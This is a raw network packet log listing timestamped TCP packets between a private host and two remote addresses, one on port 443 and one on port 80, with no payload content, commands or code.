Nov 30, 2024 09:45:10.811331034 CET	443	49795	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:10.811705112 CET	49795	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:10.811709881 CET	443	49795	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:10.812266111 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.812313080 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.813281059 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.813293934 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.813337088 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.814281940 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.814295053 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.814336061 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.816271067 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.816282988 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.816318989 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.816339016 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.817320108 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.817369938 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.943583012 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.943658113 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.943830013 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.943880081 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.944293022 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.944351912 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.944729090 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.944773912 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.945396900 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.945442915 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.945787907 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.945837021 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.946135998 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.946187973 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.946965933 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.947014093 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.947170973 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.947217941 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.948143005 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.948188066 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.948417902 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.948474884 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.949413061 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.949467897 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.949644089 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.949690104 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.950767994 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.950809002 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.951560020 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.951605082 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.952955961 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.952967882 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.953015089 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.954845905 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.954857111 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.954900026 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.955657959 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.955668926 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.955717087 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.957448959 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.957467079 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.957494020 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.957521915 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.959489107 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.959501028 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.959538937 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.961499929 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.961512089 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.961545944 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.961570978 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.962518930 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.962567091 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.963519096 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.963529110 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.963565111 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.964533091 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.964581966 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.965532064 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.965543032 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.965578079 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.967557907 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.967569113 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.967603922 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.967621088 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.969579935 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.969592094 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.969626904 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.969645023 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.970597982 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.970609903 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.970655918 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.971600056 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.972589970 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.972636938 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.973625898 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.973670959 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.974623919 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.974674940 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.975666046 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.975677967 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.975720882 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.977634907 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.977647066 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.977693081 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.978652954 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.978665113 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.978705883 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.979696989 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.980643034 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.980700970 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.981682062 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.981729984 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.982654095 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.982701063 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.983717918 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.983726978 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.983767033 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.985146999 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.985158920 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.985200882 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.987196922 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.987216949 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.987251043 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.987272024 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.988739014 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.988750935 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.988785982 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.989775896 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.989825010 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.990752935 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.990797997 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.991753101 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.991800070 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.992769003 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.992782116 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.992820978 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.993768930 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.993817091 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.994780064 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.994791985 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.994827986 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.994856119 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.996803045 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.996814966 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.996850967 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.996860981 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.998775959 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.998800993 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.998822927 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.998831034 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.999861956 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.999927998 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.000844002 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.000858068 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.000895023 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.001816988 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.001863003 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.002839088 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.002907038 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.003853083 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.003899097 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.004857063 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.004867077 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.004895926 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.004918098 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.006874084 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.006886005 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.006922007 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.007886887 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.007899046 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.007935047 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.007958889 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.008971930 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.009016037 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.009926081 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.009973049 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.010917902 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.010967016 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.011909962 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.011954069 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.012928009 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.012938976 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.012978077 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.013946056 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.013995886 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.014950991 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.014998913 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.015952110 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.016000032 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.017000914 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.017045975 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.017971039 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.017982006 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.018016100 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.018024921 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.020004988 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.020015955 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.020052910 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.022006035 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.022017956 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.022058964 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.023000002 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.023046017 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.023999929 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.024046898 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.025053978 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.025099993 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.026031017 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.026072979 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.027041912 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.027054071 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.027084112 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.027092934 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.041080952 CET	443	49792	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.041146994 CET	443	49792	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.041332960 CET	49792	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.041357040 CET	49792	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.041369915 CET	443	49792	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.041383028 CET	49792	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.041388035 CET	443	49792	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.044064999 CET	49796	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.044086933 CET	443	49796	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.044162989 CET	49796	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.044321060 CET	49796	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.044334888 CET	443	49796	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.105631113 CET	443	49791	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.105684042 CET	443	49791	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.105858088 CET	49791	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.105879068 CET	49791	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.105895042 CET	443	49791	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.105905056 CET	49791	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.105911016 CET	443	49791	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.108382940 CET	49797	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.108402967 CET	443	49797	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.108473063 CET	49797	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.108628035 CET	49797	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.108635902 CET	443	49797	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.141264915 CET	443	49794	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.141330957 CET	443	49794	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.141453028 CET	49794	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.141484022 CET	49794	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.141489983 CET	443	49794	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.141498089 CET	49794	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.141503096 CET	443	49794	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.143529892 CET	49798	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.143552065 CET	443	49798	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.143632889 CET	49798	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.143733978 CET	49798	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:11.143748045 CET	443	49798	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:11.144958019 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.145016909 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.145184994 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.145231962 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.145601034 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.145651102 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.145816088 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.145865917 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.146301031 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.146348000 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.146790028 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.146836042 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.147183895 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.147229910 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.147985935 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.148030996 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.148360014 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.148406029 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.149168968 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.149215937 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.149389982 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.149436951 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.150701046 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.150757074 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.151174068 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.151218891 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.151663065 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.151710987 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.152123928 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.152167082 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.152656078 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.152700901 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.153031111 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.153076887 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.153831005 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.153898001 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.154069901 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.154112101 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.155069113 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.155116081 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.155271053 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.155322075 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.156188011 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.156234026 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.156408072 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.156451941 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.157388926 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.157438040 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.157601118 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.157646894 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.158550978 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.158596039 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.158795118 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.158840895 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.159782887 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.159828901 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.160096884 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.160142899 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.161500931 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.161511898 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.161547899 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.163431883 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.163443089 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.163486004 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.165240049 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.165251970 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.165292978 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.166960001 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.166970968 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.167016029 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.168981075 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.168992996 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.169034004 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.170996904 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.171009064 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.171051025 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.172012091 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.172061920 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.173012972 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.173060894 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.174005985 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.174056053 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.175045013 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.175097942 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.176043034 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.176054001 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.176096916 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.178065062 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.178076029 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.178112984 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.180206060 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.180218935 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:11.180284023 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:11.181091070 CET	80	49790	31.41.244.11	192.168.2.4
